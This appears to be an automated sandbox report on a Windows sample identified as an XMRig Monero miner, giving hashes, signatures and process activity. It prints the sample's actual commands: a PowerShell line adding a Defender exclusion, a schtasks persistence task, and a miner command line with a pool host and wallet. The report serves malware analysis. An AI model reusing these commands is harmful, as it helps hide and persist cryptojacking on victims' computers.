Analysis
- max time kernel
91s - max time network
153s - platform
windows7_x64 - resource
win7-20221111-en - resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system - submitted
07/01/2023, 10:26
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20221111-en
11 signatures
150 seconds
General
- Target file.exe
- Size 825KB
- Sample230107-mghlfsdc83
- SHA256 9f53ff0200d085d8e6d3e128f630ff8d304c973312491ea36150bd37cbd1ed63
- MD5 3dde21ce8e4c4c84ff9a86ec53aa5ff0
- SHA1 681b10d35ff28a4d0a42c359cc30b1212e2bfd90
- SHA512 671a53dcb37d5c905390345d171561b7057418b5cb8c94e7e3d0122ea56e7e4cf898baee098dbc73337a0bf6631e3e0b1b14210eb92474aa34689ef61ec5ab9e
- SSDEEP 12288:JxjMvGtjDsg/hoKIID4MjKLXy5J/WqLgS4C99w+Eu4/NNG3ICRG5IhHFJ:JxjMvng/hoKqdC5V1vbJEu4TFmOIhlJ
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- XMRig Miner payload 13 IoCs
resource yara_rule behavioral1/memory/1520-104-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1520-106-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1520-108-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1520-109-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1520-111-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1520-113-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1520-114-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1520-116-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1520-118-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1520-119-0x0000000140343234-mapping.dmp xmrig behavioral1/memory/1520-121-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1520-123-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1520-125-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig - Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1796 set thread context of 1520 1796 file.exe 34 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 792 schtasks.exe - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 584 powershell.exe 1796 file.exe 1796 file.exe - Suspicious behavior: LoadsDriver 1 IoCs
pid Process 464 Process not Found - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 1796 file.exe Token: SeDebugPrivilege 584 powershell.exe Token: SeLockMemoryPrivilege 1520 vbc.exe Token: SeLockMemoryPrivilege 1520 vbc.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1520 vbc.exe - Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 1796 wrote to memory of 584 1796 file.exe 28 PID 1796 wrote to memory of 584 1796 file.exe 28 PID 1796 wrote to memory of 584 1796 file.exe 28 PID 1796 wrote to memory of 1692 1796 file.exe 30 PID 1796 wrote to memory of 1692 1796 file.exe 30 PID 1796 wrote to memory of 1692 1796 file.exe 30 PID 1692 wrote to memory of 792 1692 cmd.exe 32 PID 1692 wrote to memory of 792 1692 cmd.exe 32 PID 1692 wrote to memory of 792 1692 cmd.exe 32 PID 1796 wrote to memory of 1520 1796 file.exe 34 PID 1796 wrote to memory of 1520 1796 file.exe 34 PID 1796 wrote to memory of 1520 1796 file.exe 34 PID 1796 wrote to memory of 1520 1796 file.exe 34 PID 1796 wrote to memory of 1520 1796 file.exe 34 PID 1796 wrote to memory of 1520 1796 file.exe 34 PID 1796 wrote to memory of 1520 1796 file.exe 34 PID 1796 wrote to memory of 1520 1796 file.exe 34 PID 1796 wrote to memory of 1520 1796 file.exe 34 PID 1796 wrote to memory of 1520 1796 file.exe 34 PID 1796 wrote to memory of 1520 1796 file.exe 34 PID 1796 wrote to memory of 1520 1796 file.exe 34 PID 1796 wrote to memory of 1520 1796 file.exe 34 PID 1796 wrote to memory of 1520 1796 file.exe 34 PID 1796 wrote to memory of 1520 1796 file.exe 34
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:584
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "C:\ProgramData\Explorer\VANOZ.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1692 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "C:\ProgramData\Explorer\VANOZ.exe"3⤵
- Creates scheduled task(s)
PID:792
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1520
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